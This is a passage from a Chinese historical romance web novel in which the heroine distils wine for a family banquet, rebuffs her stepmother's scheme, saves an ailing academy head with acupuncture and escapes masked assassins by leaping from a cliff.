待公公离开，苏秀蓉见映雪脸上难掩的喜意，也不由地心下一松，笑着向映雪道喜。紧接着苏璟睿也打趣道：“可惜大哥早上才回了书院，要是大哥知道景阳侯世子成了他妹夫了，也不知大哥是惊喜还是惊吓。”话音刚落，头上就挨了一下，紧接着就听到母亲那没好气地声音说道：“你大哥那不清楚是惊喜还是惊吓，我只知道，若是你最近不好好用功，这个月凌云书院的应学考核没过，等着你的定是惊吓。”苏璟睿闻言，瞬间像霜打的茄子般焉了吧唧，众人见此笑作一团。
苏映蓉站在里面，只觉自己格格不入，心中不由得升起一道怨恨。紧攥着帕子，眼神中满是嫉妒与不甘。旁人的欢声笑语在她耳中愈发刺耳，她咬了咬嘴唇，努力压下心中的怒火。
跟在身后的丫鬟，大气都不敢出，生怕成了主子的出气筒。待回了汀兰院，就见赵姨娘早已等在屋子里。
58. 宴中
映雪接下把酒提纯的任务后，立刻带着丫鬟来到了侯府的酒窖。然后在酒窖中仔细挑拣一番后，大手一挥，对李总管道：“李总管，你派人把我挑出来的这些酒都搬到映月阁。”李总管见此情形，不由地心慌起来。侯爷回来若见酒窖的酒少了一半，许会大发雷霆。于是，他有些心虚地说道：“三姑娘，这些可都是侯爷珍藏了许久的酒啊，要不老奴差人去酒楼给您另买一批酒过来？”映雪猜出李总管是怕父亲发怒，便笑道：“不是珍藏的酒我还看不上呢。放心吧，父亲要是发怒，你就往我身上推。”李总管闻言，无奈之下只得让人把映雪挑中的酒送到了映月阁。
这提纯方法乃是映雪从玉佩中所得，因不便泄露，映雪只安排了竹韵为她打下手，自己则亲自动手制作。她还让孙嬷嬷加急定制了一批工具。酒水提纯的方法与制药之法大致相同，映雪操作起来还算顺利，竹韵主要负责添火。经过几个时辰的反复操作，厨房内渐渐升起浓烈的酒香味，随后又从窗户飘至窗外。映雪闻着这味道，惊喜道：“成了。”说罢，她用准备好的酒具把提纯后的酒水装了起来，吩咐竹韵道：“你先把这酒让人送到大姐姐那里，大姐姐制作点心要用到。”
刚开门，映雪便瞧见父亲一脸怒气地从远处走来，赶忙上前迎了过去，满脸委屈道：“爹爹，不就拿了你几坛酒吗？你至于这般怒气冲冲地来找我算账吗？”永安侯见映雪那委屈的模样，以为是自己吓着了她，便急忙收敛情绪，神色不自然地道：“你这哪是几坛酒，分明是把爹爹好不容易收藏起来的酒全给搬走了，爹爹能不生气吗？这要是换成你大哥，看爹爹不把他的腿给打折了。”映雪也不解释，只是拉着永安侯的袖子就往厨房走去，说道：“爹爹，你过来看看我给你的惊喜。”说罢，便从竹韵手中把刚才提纯的酒水拿过来，倒了一盅递给永安侯，轻轻笑道：“爹爹，你试试。”永安侯接过酒盏，轻轻浅酌一口，瞬间眼神一亮，问道：“这是桃花酒？”映雪点点头，追问道：“是不是比之前的桃花酒要浓郁得多？”永安侯大声笑道：“宴席上就用这种酒，多提几坛梨花白。”说完，便大步离去。
映雪望着父亲离开的背影，真是哭笑不得。她可从未想过在宴会上都用这种提纯后的酒，顶多是一个桌子摆上一小坛罢了。若是都用上这种酒，那可不得把她给累死。
回了屋子，映雪只觉手酸得厉害，仿佛都要提不起来了。绿绮一边替映雪轻轻捏揉着，一边心疼地说道：“姑娘，几位姑娘的活计里，就数您的最为辛苦。她们只需动动嘴皮子便罢了，哪有像您这样还得亲力亲为的。”接着又忧心道：“要是姑娘的手给整出茧子来，那可如何是好？”映雪闻言，顿时慌了神，赶忙吩咐一旁的竹韵道：“你去清风院问一下大少爷什么时候回来，跟他们交代一下，等大少爷回来，就直接来映月阁，说我有事找他。”
苏璟皓万万没想到，自己特地提前两日归来，却悲催地被妹妹抓去做苦力。他原本想问妹妹赐婚之事，可如今，这最重要的事情竟被他抛到了九霄云外。
苏秀蓉研制的点心极为成功，牛乳点心有牛乳冻、椰蓉球、杏仁酥；用酒制作的点心有桃花醉酥饼、青梅酒心糕、芙蓉酒渍饼以及琥珀糕。
映雪一边品尝着点心，一边向苏秀蓉提议道：“大姐姐，要不你也去开个点心铺子吧，你做的点心丝毫不比琼华阁的差呢。”苏璟睿也在一旁一个劲地使劲点头表示赞同，却被二夫人敲了脑袋，轻斥道：“你点什么头？琼华阁你去过吗？别以为这几日府里忙，你就可以偷懒不学习。等明日宴会结束，就让你爹考你这几日的功课。”苏璟睿顿时泄了气。
映雪早早地便被竹韵唤醒，开始梳妆打扮。她打着哈欠，一副还没睡醒的模样，嘟囔道：“幸亏今日忙完就能好好休息了。从明天开始，我一定要睡到自然醒，你们谁都不准来叫我。”竹韵笑着应道：“好，都听姑娘的。”
永安侯府门外车水马龙，热闹非凡。
嘉柔郡主和清平县主早早地就来到了侯府。在丫鬟的陪同下向老夫人请安后，便和映雪一起去了映月阁。
半道上，嘉柔郡主故作生气地停下脚步，小嘴微微嘟起，娇嗔道：“映雪姐姐，亏我把你当好朋友，你可别告诉我，你和牧舟哥哥赐婚的事，你不知情？”映雪瞬间气弱，眼神有些心虚地闪烁着，赶忙哄道：“别生气了，我带你们去吃我大姐姐新制的糕点，保证你们从没吃过。”嘉柔郡主闻言，眼中有一瞬间的惊喜，可接着又哼了一声，道：“别以为几块糕点就能打发我，你今日定要告诉我你们是怎么认识的？”
清平县主在一旁笑着，轻声道：“你是不知道，自从你被赐婚，她就要上门找你了，还是我说你这几日要忙宴会的事，她才好不容易等到了现在。”
映雪挑眉，看着嘉柔郡主，低声道：“你别告诉我，你对他有兴趣？”嘉柔郡主闻言，气得直跺脚，小脸涨得通红，道：“胡说什么，我对他跟对我大哥没两样。”映雪这才松了口气。并没有听见嘉柔郡主的嘀咕声：“我可是把你当嫂子的，没想到被牧舟哥哥抢了先。”
映雪让丫鬟把苏秀蓉研制的点心摆上来，嘉柔和清平吃着不停夸赞。清平说：“就这点心，今日宴会没白来，你大姐姐心灵手巧。”嘉柔附和：“可惜你大姐姐快出嫁了，以后难吃到这么好吃的点心。”映雪笑道：“这有何
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难，我让大姐姐给你们方子不就得了。”
随着时间推移，各府闺秀纷纷来映月阁向映雪道贺。好在映雪准备充分，让整个映月阁都充满着欢声笑语。
待宾客纷纷落座，众人这才惊觉今日的重头戏竟是那美酒。此时，有人诗兴大发，吟道：“今朝美酒入喉香，顿感往昔饮若浆。方晓佳酿惹人醉，过往皆水徒断肠。”
定远将军道，“侯爷，今日这酒当真是一绝啊！不知此酒来自何处？我等也想寻来一品。”永安侯闻言，语气中带有几分得意道，“此酒乃小女练手之作，外面可是买不到的。”
定远将军等人听了，眼中露出遗憾之色，却又忍不住赞叹道：“侯爷当真是好福气啊，慧敏郡主才情非凡，实乃巾帼不让须眉。许多男儿郎与之相比，怕是都要自愧不如。”
兵部尚书张大人轻轻拍了拍永安侯的肩膀，爽朗一笑，道：“苏兄，你我共事多年，这交情可不一般呐。”永安侯点头，不明其意。张大人谄媚道：“让慧敏郡主帮我练两壶酒呗。”话音刚落，其他大人也纷纷讨要，附和道：“侯爷，您可不能厚此薄彼呀。”永安侯无奈，实在不好拒绝，只得勉强答应道：“好吧，既然各位如此抬爱，那我便让小女为每个府邸送上一坛。”
一场宴会，举办得宾主尽欢。映雪和苏秀蓉在宴会上大出风头，引得众位夫人纷纷夸赞永安侯府会养姑娘。连带着苏映蓉和苏沁雪也获得了不少关注。颇为可惜的是，永安侯府的姑娘数量实在太少，仅有的四个姑娘中，竟有三个都已订了亲。
老夫人看着眼前的二夫人及映雪等人，只觉疲惫不堪，一点精神气都没了。心疼地说道：“今日大家都累了，早些回去休息吧。明日都在各自院子里好好歇着，不用来请安了。”
二夫人强打精神道：“这可不行，老太太如此体贴我们，我们若当成理所应当，那可就是我们不孝了。何况今日我也并非白辛苦，结识了不少夫人，都是以后与老爷一起共事的同僚家眷呢。”
老夫人点头笑道：“老二不日就要上岗，有你替他镇守后方，他也能安心做事，这是他的福气。”
二夫人被夸得脸红不已，连忙表示：“能嫁进永安侯府，有这么体贴的老太太，才是我的福气。”
大夫人坐在一旁，看着相互夸赞的老夫人和二夫人，心中的戾气险些压制不住。她暗自气恼，老太太实在是偏心，自己辛辛苦苦主持这么大的场面，一点差错都没出，却没得到半句夸赞。二夫人不过是做了些露脸的场面活，竟然就得了老太太的欢心。但转念一想，侯府越风光越好，反正迟早都是敏哥儿的。如此想来，她心中的怒火才稍稍平息了一些。
60. 身份
接着，便听到大夫人略带犹豫地说道：“映蓉当初订亲，本就是因名声有所损害。若是如今再退亲，怕是往后真的难以找到好人家了。”稍作停顿后，大夫人又接着道：“依我之见，映蓉这门亲事退了也罢。如今映雪已与景阳侯府订下亲事，不若让映蓉陪着映雪一同嫁到景阳侯府，效仿娥皇女英，给映雪做个伴....
口中的话尚未说完，映雪闻言，只觉恶心至极。正欲回怼之际，便听见父亲怒声吼道：“不会说话就给我闭嘴！”说罢，手掌猛地在茶桌上重重一拍，那力道之大，使得茶杯瞬间振裂开来。
大夫人的脸色瞬间由红转青。接着，便听到映雪讥讽道：“二姐姐与四妹妹一向亲密无间。大夫人既然这般为二姐姐着想，想来以后让二姐姐给四妹妹的夫婿当妾室，四妹妹定然不会委屈了她。”言罢，映雪便毅然转身，离开了荣晖堂。
老夫人也险些被大夫人给气出病来，接着神色严肃地说道：“既然不想好好当家，这段时日就好好地在院子里闭门思过。没有我的允许，不准出来。”说罢，老夫人朝众人摆了摆手。二老爷与二夫人对视一眼，心中都忍不住暗暗奇怪，以前可从未见大嫂如此不识大体。
因大夫人的提议着实将映雪恶心到了，以至于晚上躺在床上，心情始终难以平静，越想越气。她索性起身，写了一封信给许牧舟，在信中她告知许牧舟，他即将要享齐人之福，语带调侃与不满。第二日起床，由于晚睡的缘故，眼底都微微发青。竹韵赶忙给映雪多涂了些粉来遮掩。自从白芷被罚后，再加上上辈子之事的膈应，映雪便没再让白芷近身伺候了。白芷心里也十分清楚，自此行事越发谨慎起来。映雪心中暗忖，只要白芷安分守己，她也不会再去追究上辈子的那些事情了。
竹韵将早膳摆在桌上，映雪刚要拿起碗筷，就见绿绮满脸兴奋之色跑了过来，迫不及待地说道：“姑娘，您可不知道，昨晚那大夫人可真是倒霉透顶。”说罢，就见映雪两眼放光的盯着她，绿绮忍住笑声道，“大夫人在解手的时候，竟不小心打翻了恭桶。尿液飞溅，把她浇了个满身。后来她又准备沐浴，可谁能想到，刚刚在浴桶中坐下来，一只黑乎乎的老鼠就从房梁上掉了下来，正好掉进浴桶里，那老鼠还吱吱地在水里翻滚。把大夫人吓得尖叫连连，直接就给吓晕过去了。”
映雪闻言，脑海中不由自主地浮现出那画面，顿时只觉胃里一阵翻滚，险些就要呕吐出来。竹韵见状，心急如焚，赶忙上前扶住映雪，轻轻地拍着映雪的后背。
随后，她转头狠狠地瞪了一眼绿绮，斥责道：“你就不能等姑娘早膳后再说吗？瞧瞧，现在害得姑娘都没胃口了。”绿绮忍不住小声嘀咕道：“那姑娘的早膳不就白吃了吗？”
映雪感觉好多了，直起身子，对两人说道：“我没事。”随后，心情忍不住好了起来，不用想也知道，大夫人的倒霉事，肯定是许牧舟搞的鬼。
映雪早膳只吃了几块糕点，便前往荣晖堂。苏沁雪估计也是因为大夫人之事，觉得没脸见人，便让丫鬟过来向老夫人告罪，表示要替母亲侍疾，近几日都不过来请安了。
因大夫人被罚，侯府的管事之权便落到了二夫人手中。映雪和苏秀蓉刚从荣晖堂走出来，远远地便瞧见二夫人身边跟着一位贵夫人，正朝着荣晖堂款款走来。待映雪仔细一看，正是忠勇侯夫人。想来她定是为了那桩婚事而来。
映雪因大夫人那令人作呕的提议，对苏映蓉也满心膈应。
瞬间没了好奇的兴趣，于是就和苏秀蓉一起去了秀宁居。
嘉柔写信给她，很馋宴会上的桃花醉酥饼。
映雪回到映月阁，便得知苏映蓉的婚约被忠勇侯夫人主动给退了。她猜想父亲可能在其他方面给予了补偿。她记得苏映蓉曾说忠勇侯府的这位庶长子外表老实稳重，实则狡猾，让忠勇侯对他偏爱有加。但这话从苏映蓉嘴里说出，她总觉得不可信，或许这位公子是被人陷害的，也说不定。
映雪让绿绮把桃花醉馅饼送到豫亲王府，待绿绮刚回到映月阁，便兴冲冲地跑到映雪跟前，神秘兮兮地笑道：“姑娘，你猜奴婢刚在街上看见谁了？”映雪看着绿绮，微微示意她继续。只见绿绮脸上露出颇有些鄙夷的神情，说道：“奴婢看见江嬷嬷了，跟着一顶花轿进了宁诚侯府。”
映雪微微皱眉，问道：“是宁诚侯府娶妻？”绿绮撇嘴道：“哪能啊，奴婢特地跟过去看了，还问了一起看热闹的人。听说宁诚侯世子的亲事已经订了，是清和县主呢。”
映雪闻言，眉毛一挑。这位清和县主乃是敦亲王的孙女，敦亲王是皇上的叔父，在朝中有着一定的影响力。清和县主的名号听起来清纯、平和，然而这位县主行事却极为跋扈。上辈子她嫁给镇远侯世子，听说竟把镇远侯世子怀着身孕的妾室都给发卖了，还闹上了公堂。映雪心中暗忖，这向莞宜未来可真没好日子过了。且不说陈煜安还特地在大婚前明目张胆地把向莞宜迎进了府。
映雪已经不再耗费心思去关注那些无关紧要的人了，上辈子的事对她来说，已经很遥远了，现在她只想知道，大夫人到底还有什么事是瞒着府里的，万一真的有那奸夫，到时候该怎样面对父亲。
想到每次要出府去见许牧舟，便觉得麻烦不已，忽然，眼神一亮，之前曾听闻许多有底蕴的家
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族会用信鸽传递消息，不知景阳侯府是否也有信鸽。暗自思忖着，等下次见到许牧舟定要问一问。
许牧舟刚练完一会儿剑，正用帕子细心地擦拭着剑身。他瞟了一眼身边的暗卫，沉声道：“说吧，调查到哪些东西了？”待听完暗卫的汇报，他手中的帕子一顿，紧接着眉头紧皱。事情比他想象中的还要复杂。他随手做了个动作，暗卫便消失不见。
映雪刚用完午膳，就在映月阁的静逸庐见到了许牧舟。见许牧舟神色不对，她便问道：“是不是调查之事有消息了？”许牧舟声音低沉：“可能还涉及到敌国奸细。”映雪闻言，心里猛地咯噔一下。她深知，若是此事处理不好，整个永安侯府都可能会受到牵连。映雪深呼一口气，努力让自己平静下来，问道：“说吧，到底怎么回事？”
许牧舟缓声道：“你那继母在闺阁中曾与一书生暗中往来过，后被父母发现，断绝了关系，随后嫁进永安侯府。直至七年前，两人又突然有了联系，但并不密切，几个月后又断了往来，直到这次在云栖庵救了荣太妃。”映雪推算道：“七年前，敏哥儿现在刚好六岁，七年前正是她怀孕之时。”说罢，映雪气狠狠地道：“他果然不是我父亲的孩子，真是无耻至极。”接着努力让自己冷静下来，问道：“那位奸夫是谁？”许牧舟沉默了片刻，道：“可能是礼部侍郎，七年前他刚从地方上调任到京城。”
映雪紧接着追问道：“为何会与敌国奸细有关？”许牧舟微微皱眉，神色凝重至极，沉声道：“暗卫在调查中发现，这位礼部侍郎的仕途顺利得非同寻常。他在短短数年间，从地方官职一路擢升至礼部侍郎之位。进一步调查后，竟发觉他在任职期间与一些身份不明之人有着过多的接触。那些人行动诡秘，来历成谜，种种迹象皆指向他们极有可能是敌国的奸细。而且，关于他的身世也似乎存在异常之处，目前暗卫仍调查。
接着，许牧舟又朝着映雪说道：“若你那继母被牵连进此事，极有可能会影响整个侯府。你父亲那边恐怕也瞒不下去了，必须尽早做打算。”映雪闻言，身体不由自主地颤抖起来。
许牧舟见状，急忙一把抱住映雪，柔声安慰道：“有我在，别怕，事情既然已经存在，早些知晓总比一直被蒙在鼓里要好。”映雪此刻满心都是对父亲的心疼，父亲那般好的人，大夫人简直罪该万死。她嫁进侯府，难道是被侯府逼迫的吗？想到父亲所经历的痛苦比自己上辈子所遭的罪还要悲惨十倍不止，映雪只觉得肝肠寸断，痛苦不堪。
许牧舟耐心地将映雪安抚下来，便听到映雪以平静的语气说道：“等二哥从凌云书院回来，我便去找父亲商议此事。”
61. 生辰
苏二老爷已然到岗上任，好在先前侯府的升迁宴上，也积攒了些人脉。又有正如日中天的侯府托底，处理起事务来倒也算是得心应手。偶尔不去点卯，让随从跑一趟，也并非什么大事。
苏二老爷看着眼前准备出发前往凌云书院参加应试考核的苏景睿，满脸担忧道：“要不我陪你去吧？”苏景睿闻言，立即露出一个惶恐的表情，说道：“可别，我都多大了呀，要是让同窗知道我去考个试，还要父亲陪同，那简直要令人笑掉大牙。”紧接着又道：“何况我还准备在凌云书院住几日呢，顺便陪大哥在书院过了生辰再回府。”
二老爷正要再说些什么，却被二夫人打断。
二夫人道：“行了行了，在任上的时候可没见你这么关心儿子，这会儿装什么慈父心肠呢。”说罢，还狠狠瞪了二老爷一眼。接着又道：“你昨晚不是还说不指望儿子能考上凌云书院吗？只当是去体验一番罢了，这会儿瞎紧张什么，别让儿子也跟着你紧张。”二老爷闻言，顿时有些尴尬，神情讪讪。众人见状，皆笑作一团。
待大家平静下来，老夫人见时辰不早，微笑着说道：“好了，早点出发吧，也好早点安置下来，好好休息，以饱满的精神参加明天的考核。”
大夫人被许牧舟整治后避居如意院，苏沁雪每日请安，苏映蓉偶尔也会去。
大夫人对苏映蓉亲近许多，宛如真正母女，映雪听闻此消息嗤之以鼻，绝不相信这两人能有好事。想到要向父亲坦白大夫人之事，映雪心烦不已，不知如何启齿。
映雪问一旁的竹韵：“二哥还没消息回府吗？”竹韵摇头道：“还没有，奴婢让人随时关注着，有消息就立刻来报。”映雪皱眉嘟囔道：“就算要多待几日，可是否考上，二哥也该让小厮回府禀告一声呀，祖母这两天一直念叨呢。”
绿绮闻言，眼睛一转，道：“姑娘若是担心，可以亲自去一趟，正好给大少爷送生辰礼。”话音刚落，就被竹韵打断：“胡闹，凌云书院哪是想去就能去的，更何况姑娘女子身份，根本进不去。”映雪却觉得这提议极好，夸赞绿绮道：“还是你脑瓜子灵活。”竹韵着急，大声喊了一声：“姑娘。”映雪安抚竹韵道：“放心，我有分寸，穿男装去不就行了。”竹韵见姑娘决心已定，不再阻拦，只是提醒道：“老夫人肯定不会同意的，姑娘总不能偷跑去吧。”映雪闻言，瞬间丧气，祖母肯定不会允许，但总要试一试。
说罢，映雪便去了荣晖堂。正巧，老夫人也在为苏璟睿担忧，吩咐秦嬷嬷随时留意府外来的消息。
映雪眼眸一动，对老夫人说道：“祖母，二哥是不是在凌云书院玩得乐不思蜀了，都忘了府里众人还在等他的消息呢！”接着又道：“还有大哥也真是的，二哥忘记也就罢了，他怎么也不来个消息，害得祖母这般担忧。”
老夫人见映雪似是生两个哥哥的气，忙安慰道：“祖母没有担忧，只是担心你二哥在凌云书院待久了，会影响你大哥的学习。”接着便听映雪道：“祖母，要不我亲自去一趟吧，明天刚好是大哥的生辰，我去给他送生辰礼，顺便和二哥一道回来。”
老夫人闻言，立马拒绝道：“礼物等你大哥回府后给他也一样，你二哥等过了明日也就回来了。”映雪却不依，道：“那怎么能一样呢，生辰都过了，一点惊喜都没有。”老夫人则坚定道：“那就明日派个小厮送过去。”映雪撒娇道：“小厮送哪有我亲自送过去有惊喜，更何况我这份礼物特别，我想亲手送给大哥。”映雪磨了老夫人许久，老夫人方才无奈地答应下来。
这一天，映雪起得很早，绿绮盯着眼前身着男装的映雪，忙不迭地夸赞道：“姑娘穿起男装，嘿，还真别说，真有模有样，比二公子都俊俏呢！”映雪闻言，脸颊微红。随后，交待绿绮道：“你和竹韵就好好待在府里，若是有什么急事，等我回来再汇报。”绿绮连忙点头应下。竹韵似是有些不放心，犹豫着说道：“姑娘只带竹清会不会不妥，毕竟凌云书院离京城尚有一段距离，不比在城内安全。”映雪却不以为然地说道：“放心吧，竹青厉害着呢，再说了，真要有事，带上你们也起不了作用。”竹韵想想也觉得有道理，可心里总有些不安之感。
映雪仔细将逸云剑收拾妥当，又取了些药丸放入荷包之中，随后便与竹清一同登上马车，前往凌云书院。
凌云书院坐落于京城西侧的麒麟山旁，麒麟山山势巍峨高耸，终年云雾缭绕，仿若仙境一般，且周边群山环抱，更增添了几分清幽神秘之感。
书院依着山势而建，规模宏大，气势非凡。当她们下了马车后，展现在眼前的是一条长长的石阶，一直延伸至凌云书院的大门。想来这凌云书院的创始人在当初建院之际，便有着让学子们锻炼身体的深意。
这可害苦了映雪，要是她此前知道还有这么长一段石阶要走，铁定不来。
然而，临阵退缩绝非她的性格。
等映雪历经艰难，完完整整地站在凌云书院的大门口时，抬眼望着那鼎立的门牌，上面龙飞凤舞地书写着“凌云书院”四个大字，她激动得险些落下泪来，两条腿也忍不住微微哆嗦起来。
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竹清见状，眉头紧紧蹙起，心中十分后悔，刚才真不该听从姑娘的话，就该直接背着姑娘上来才是。
映雪缓了一口气，迈步上前。凌云书院守门的书童瞧见她，温和有礼地问道：“不知公子是？”映雪爽朗笑道：“今日是家兄生辰，我特来给他送礼物，可否麻烦帮忙通传？”
书童微笑道：“自然可以，不知令兄是谁？”“苏璟皓。”映雪回道。
语音刚落，恰好有两位学子经过，听到苏璟皓的名字，便道：“原来是找璟皓兄的，不用那么麻烦，我带你进去吧。”待瞧见映雪的容貌，瞬间睁大了双眼，愣住了。
一旁的李逸风见状，问道：“怎么，你认识啊？”赵宇轩没有回话。
映雪也认出来了，正是之前在大哥的院子里有过一面之缘的公子。
随即，映雪大方一笑，拱手道：“那就麻烦兄台了。”
赵宇轩闻言，脸颊绯红，极不自然。
赵宇轩和李逸风带着映雪与竹清来到苏璟皓的宿舍附近。刚一靠近，屋内的热闹喧杂声便传入耳中。赵宇轩停下脚步，对着映雪轻声说道：“我去将璟皓兄喊过来，你暂且在这里等候一下。”李逸风却不以为然地说道：“直接进去便是了，何必如此麻烦呢。”赵宇轩并未理会李逸风，心中暗自思忖：若是等他知晓眼前之人是谁，估计恨不得找个地洞钻进去。
不一会儿，苏璟皓现身，瞧见映雪，即刻惊呼：“妹妹，你怎来了？”映雪尚未搭话，只见李逸风猛地惊叫一声，随后慌慌张张地转身逃离。
苏璟皓见状，觉得莫名奇妙。
映雪故作生气道：“还说呢，二哥来书院好几日了，竟连个消息都不送回去，害得祖母一直担忧。”苏璟皓闻言，顿时心虚，正欲解释，却见苏璟睿也跟了出来，问道：“大哥，是谁来了？”待瞧见映雪，亦是顿时一惊，一时竟说不出话来，尴尬地朝映雪笑了笑。
随后，苏璟皓返回宿舍，准备遣散那些同窗。毕竟他不能让妹妹与一群大男人长时间待在一起。然而，那些学子们却不乐意了，纷纷谴责道：“璟皓兄，你这可就过分了啊！不就是弟弟来为你过生辰嘛，让你弟弟一起过来不就好了，非要赶我们走，这像话吗？”
双方争执正酣，映雪刚欲上前调解，忽闻外面传来惊叫声：“不好了，山长滑倒，晕过去了！”
众人闻言，瞬间停止了争执，面露惊慌之色。映雪更是心急如焚，连忙转身向门外跑去。其他人也不敢怠慢，纷纷紧随其后，一同朝着山长摔倒之处匆匆赶去。
62. 刺杀
山长被侍从小心地背了起来，匆匆朝山长房间走去。
待回到房间时，老大夫已然提着药箱赶至。见众人将房间围得密不透风，老大夫脸色一黑，沉声道：“行了，这里没你们什么事了，都别挤在这儿碍手碍脚。”山长年岁已高，这一摔着实凶险，万一情况不妙，恐有性命之忧。映雪心中忍不住担忧起来，虽她与山长素不相识，但对山长的学识却极为敬佩。于是，她朝老大夫拱手道：“老大夫，小子不才，也略通一些岐黄之术，不知能否留下来给您打个下手？”老大夫闻言，犀利的眼神瞬间射向映雪，仿佛要将她看穿一般。映雪却纹丝不动，坦然迎接着老大夫的审视。片刻后，老大夫道：“行，你留下。”映雪这才心神一松。苏璟皓见状，轻轻拉了拉映雪的袖子，眼神中满是担忧。他深知墨大夫脾气古怪，有时连山长的话都不听，怕妹妹不小心惹怒于他。映雪微微摇头，示意苏璟皓放心。墨大夫突然冷脸道：“要出去就赶紧。”说罢，苏璟皓和其他学子只得退了出去。
屋内，只剩下昏迷不醒的山长、侍从、墨大夫、映雪以及竹清。
墨大夫见众人离去，并未与映雪搭话，径直走向床边，提起山长的手臂，专注地把起脉来。时间缓缓流逝，墨大夫的脸色愈发难看。映雪见状，忍不住问道：“山长可是有中风之兆？”墨大夫猛地看向映雪，神情严肃，审视着她道：“小丫头，你到底是什么人？”映雪闻言，脸色骤变，既已被揭穿，便唯有坦诚相告，心虚地说道：“我是永安侯之女。”
墨大夫的防备瞬间如潮水般退去，随后眼神一亮，追问道：“你是慧敏郡主？听说你偶得一本秘方，此事是真的？”映雪先是点头，又接着摇头，道：“我是，没有。”接着解释道：“我只是偶得一位奇怪的老爷爷指点，并没有什么秘方。”玉佩之事至关重大，映雪深知不能向任何人透露。墨大夫闻言，颇感失望，接着便忧心忡忡地说道：“山长确实有中风之象，此次怕是极为棘手，山长头部有瘀血堵塞，导致气血不通，若是短时间内无法改善，会有生命危险。”说罢，便叹了声气，吩咐侍从道，“你去通知山长家眷吧。”
侍从被惊得脸色惨白。
映雪想起她曾在秘方中看到的类似病情，遂开口问道：“为何不能通过针灸之术，将瘀血排出？再加以汤药调理呢？”墨大夫闻言，瞬间目光如炽热的火焰般紧紧盯着映雪，急切问道：“这也是那位老爷爷教你的？”映雪轻轻颔首。
墨大夫眉头紧蹙，心中暗自揣度：莫不是传说中的医仙鬼谷子？传说医仙鬼谷子拥有活死人、肉白骨的神奇医术。他向来行踪飘忽不定，仅在有缘人面前显现。慧敏郡主小小年纪，便能立下治瘟疫之功，极有可能是得到了医仙鬼谷子的传承。
如此想来，山长或许真有救了。墨大夫望向映雪的眼神中多了一抹炙热之色，问道：“那你可会这针灸之术？”映雪沉思片刻，而后道：“我针灸之术尚还不熟练，但我可以把针法写出来，由大夫您替山长施针。”
墨大夫微微点头表示同意，随后神色略显不自然地朝映雪撇了撇嘴，道：“老夫姓墨。”
映雪一愣，随后恭敬地回道：“原来是墨大夫，晚辈记下了。”
两人就病情展开了深入的探讨，反复斟酌。最终确定了具体的施行方案。鉴于山长的情况危急万分，刻不容缓，他们当即决定立刻行动起来。
待山长长子魏太傅匆匆赶来，甫一踏入房间，便瞧见父亲身上，乃至头颅之上，皆布满了银针。那密密麻麻的银针闪烁着微微寒光，让魏太傅的心不由地紧紧揪了起来。
快步地朝墨大夫走去，满脸忧心之色，问道：“墨大夫，我父亲怎么样了？”墨大夫神色轻松，道：“魏老头运气不错，多亏了这位小兄弟。”说罢，指向映雪。魏太傅心底称奇，随后竟向映雪行了个大礼，道：“多谢小兄弟救了在下的父亲。”映雪惶恐至极，赶紧避开，道：“太傅大人万万不可，晚辈只是略尽绵薄之力，不敢当此大礼。山长吉人自有天相。”
魏太傅对映雪顿生好感，遂而笑道：“若是以后有需要用得着傅某的地方，尽管开口。”说罢，还朝映雪的肩膀重重一拍，险些把映雪拍倒。接着便听魏太傅道：“身体倒是单薄了些。”映雪闻言，尴尬地笑了笑。墨大夫见状，直接爽朗地笑出了声，那笑声在房间里回荡，也让紧张的气氛稍稍缓和了几分。
映雪见山长气息渐趋稳定，便向墨大夫及魏太傅恭敬告辞道：“小辈尚有事务在身，就先行回宿舍了。若是山长后续有需要小辈的地方，随时差人过来传唤即可。”说完便微微欠身，转身离去。
苏璟皓从映雪口中得知山长已转危为安，顿时长舒一口气，悬着的心也落了地。映雪将生辰礼物递给大哥，苏璟皓满心好奇地打开，却惊喜地发现竟是名器之一的“逸云剑”。他顿时喜上眉梢，忙不迭地询问映雪此剑来自何处，却被映雪巧妙地忽悠了过去。随后，苏璟皓便问起二哥苏璟睿考核之事。苏璟睿缓缓说道：“这次考试通通作废，待下个月再重新考试。”映雪微微皱起眉毛，疑惑地问道：“为何？”苏璟皓尴尬地摸了摸鼻子，道：“有人作弊，涉案之人都被取消了资格。”映雪闻言，朝两人狠狠瞪了一眼，嗔怪道：“那你们也该送信回府啊，害得祖母一直担
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忧。”
映雪陪苏璟皓在宿舍里吃了一顿难忘的生辰宴，之后，又央着苏璟皓带她在书院里尽情地逛了一番，毕竟这样的机会实属难得。待打听清楚山长情况稳定后，映雪便与苏璟睿一同准备打道回府。
和来时一样，只是回程多了一个在前面骑马的苏璟睿。许是早晨起得早了，映雪刚上马车没一会儿，便觉困意袭来，忍不住打起盹来。
忽然，马车猛地骤然停下，巨大的惯性险些要把映雪给甩下去。映雪正要询问竹清出了何事，刚掀开车帘，就见五六个身着黑衣、蒙着脸的黑衣人，如鬼魅般朝马车刺了过来。
竹清反应迅速，立即与黑衣人交上了手。她以一敌五，丝毫不惧，但黑衣人个个身手不凡，一时之间难以轻易击退。苏璟睿也急忙过来帮忙，然而他功夫一般，几招之下，就被其中一位黑衣人一脚踢倒在地。黑衣人没理会地上的苏璟睿，径直向马车走去。
竹清见状，匆忙腾出手来，从怀里掏出毒器，射向身边的黑衣人。接着，她又赶紧朝那名欲靠近马车的黑衣人踹了过去，随后从怀中拿出烟火，点燃后抛至空中。做完这些，竹清驾着马车朝京城疾驰而去。几名黑衣人视线交流了一下，瞬间对竹清发起更加猛烈的攻势，试图阻止马车离去。
映雪眼睁睁看着竹清身上的伤口越来越多，心急如焚。马车在混乱中离官道渐行渐远，直至来到崖边。前方已无退路，马车戛然而止。前方是深不见底的悬崖，身后则是步步紧逼的黑衣人。
竹清眼见局势危急，正欲以自爆的方式与黑衣人同归于尽，好为映雪争取获救的时间，却被映雪急忙阻止。映雪望了望身旁的悬崖，转头看向竹清，轻声问道：“竹清，你信我吗？”竹清坚定地点点头，未发一言。随后，映雪毅然拉着竹清的手，朝着悬崖纵身一跃。
黑衣人见状迟疑片刻，正准备离开之际，许牧舟带着暗卫终于赶到。
瞧见眼前景象，许牧舟目眦欲裂，紧咬着牙关，沉声道：“留一个活口，其余全部诛杀。”
局势瞬间发生逆转，除了留下一个活口之外，其余黑衣人皆被迅速消灭。那唯一的活口正欲咬破牙槽里的毒囊自尽，暗卫眼疾手快，瞬间卸掉了对方的下巴。许牧舟则仔细查探着周边崖壁的情况，随后对身边的亲卫吩咐道：“速速去准备铁链。”
